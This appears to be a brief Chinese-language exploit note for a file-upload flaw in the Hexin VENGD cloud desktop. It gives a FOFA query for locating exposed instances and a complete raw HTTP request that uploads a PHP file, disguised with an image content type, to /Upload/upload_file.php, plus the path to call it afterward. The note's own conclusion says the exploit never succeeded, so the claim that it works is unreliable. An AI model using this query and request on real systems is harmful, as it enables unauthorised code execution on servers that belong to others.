0x00 漏洞描述

存在某接口可被攻击者利用上传文件

0x01 fofa语法

title=”和信下一代云桌面VENGD”

0x02 利用

  1. POST /Upload/upload_file.php?l=test HTTP/1.1
  2. Host: x.x.x.x
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
  4. Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
  5. Accept-Encoding: gzip, deflate
  6. Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
  7. Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
  8. Connection: close
  9. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
  10. Content-Length: 183
  11. ------WebKitFormBoundaryfcKRltGv
  12. Content-Disposition: form-data; name="file"; filename="test.php"
  13. Content-Type: image/avif
  14. <?php phpinfo(); ?>
  15. ------WebKitFormBoundaryfcKRltGv--

http://xxx.xx.xxx.xxx/Upload/test/test.php

0x03 总结

没成功过